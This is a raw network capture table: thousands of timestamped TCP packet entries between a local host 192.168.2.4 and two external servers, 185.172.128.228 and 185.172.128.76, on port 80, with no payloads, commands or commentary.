Apr 23, 2024 09:38:11.615933895 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.615942955 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.615951061 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.615958929 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.615967989 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.615974903 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.615983963 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.615991116 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.615999937 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.616007090 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.616017103 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.616023064 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.616029024 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.616039038 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.616045952 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.616055012 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.616063118 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.616070986 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.616080046 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.616086006 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.616095066 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.616107941 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.616111040 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.616126060 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.616127014 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.616134882 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.616149902 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.616161108 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.616167068 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.616183043 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.616188049 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.616194010 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.616199017 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.616214037 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.616221905 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.616230011 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.616235971 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.616245985 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.616254091 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.616261959 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.616271019 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.616276979 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.616293907 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.616309881 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.616314888 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.616324902 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.616333961 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.616341114 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.616357088 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.616359949 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.616372108 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.616372108 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.616388083 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.616398096 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.616403103 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.616415024 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.616419077 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.616431952 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.616435051 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.616440058 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.616451025 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.616456985 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.616466999 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.616476059 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.616482019 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.616487980 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.616497993 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.616507053 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.616513014 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.616528034 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.616528988 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.616533995 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.616545916 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.616555929 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.616563082 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.616578102 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.616595030 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.616611004 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.616626978 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.616641998 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.616643906 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.616660118 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.616668940 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.616676092 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.616682053 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.616692066 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.616703987 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.616708994 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.616720915 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.616724014 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.616743088 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.616749048 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.616758108 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.616770029 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.616774082 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.616791010 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.616796970 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.616806030 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.616821051 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.616822004 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.616837978 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.616853952 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.616856098 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.616857052 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.616869926 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.616884947 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.616902113 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.616911888 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.616916895 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.616931915 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.616934061 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.616955996 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.616961002 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.616971970 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.616988897 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.616997957 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.617003918 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.617021084 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.617036104 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.617108107 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.633774042 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.633801937 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.633856058 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.633893967 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.633959055 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.633985996 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.634001970 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.634005070 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.634018898 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.634028912 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.634041071 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.634042025 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.634058952 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.634069920 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.634076118 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.634088993 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.634094000 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.634108067 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.634110928 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.634119987 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.634131908 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.634141922 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.634151936 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.634154081 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.634170055 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.634180069 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.634187937 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.634205103 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.634203911 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.634222984 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.634229898 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.634229898 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.634239912 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.634255886 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.634268045 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.634272099 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.634287119 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.634289980 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.634308100 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.634324074 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.634330988 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.634330988 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.634341002 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.634355068 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.634361029 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.634370089 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.634377956 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.634393930 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.634393930 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.634409904 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.634411097 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.634421110 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.634430885 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.634433031 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.634450912 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.634457111 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.634466887 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.634468079 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.634486914 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.634490013 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.634502888 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.634516954 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.634519100 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.634526014 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.634536028 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.634536982 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.634553909 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.634560108 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.634571075 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.634572029 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.634588957 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.634604931 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.634608030 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.634619951 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.634622097 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.634639025 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.634654045 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.634658098 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.634670973 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.634677887 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.634687901 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.634697914 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.634705067 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.634722948 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.634722948 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.634732008 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.634740114 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.634751081 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.634757042 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.634766102 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.634776115 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.634785891 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.634794950 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.634795904 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.634814024 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.634814978 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.634829998 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.634831905 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.634860992 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.634860992 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.679140091 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.679169893 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.679220915 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.679287910 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.679306984 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.679322958 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.679331064 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.679341078 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.679358959 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.679361105 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.679378033 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.679387093 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.679394960 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.679411888 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.679414034 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.679430962 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.679435968 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.679450989 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.679457903 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.679466963 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.679475069 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.679481983 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.679491997 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.679497004 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.679505110 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.679512978 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.679522038 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.679529905 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.679538965 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.679546118 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.679554939 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.679563046 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.679568052 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.679579973 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.679586887 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.679596901 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.679605007 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.679614067 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.679615974 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.679630041 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.679635048 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.679646969 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.679651022 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.679661989 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.679668903 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.679678917 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.679680109 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.679697037 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.679698944 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.679714918 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.679717064 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.679733038 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.679737091 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.679750919 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.679753065 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.679766893 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.679773092 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.679783106 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.679784060 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.679801941 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.679802895 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.679817915 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.679821014 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.679835081 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.679835081 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.679851055 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.679853916 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.679868937 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.679871082 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.679886103 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.679894924 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.679902077 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.679903030 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.679918051 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.679919004 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.679934978 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.679936886 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.679949999 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.679955006 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.679965973 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.679968119 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.679982901 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.679986000 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.679996967 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.680000067 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.680016041 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.680016994 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.680032015 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.680036068 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.680047989 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.680051088 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.680068016 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.680068016 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.680084944 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.680085897 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.680105925 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.680109978 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.680124044 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.680126905 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.680145979 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.680146933 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.680162907 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.680166006 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.680176973 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.680180073 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.680197001 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.680197954 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.680211067 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.680212975 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.680227995 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.680228949 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.680243969 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.680259943 CEST	80	49735	185.172.128.228	192.168.2.4
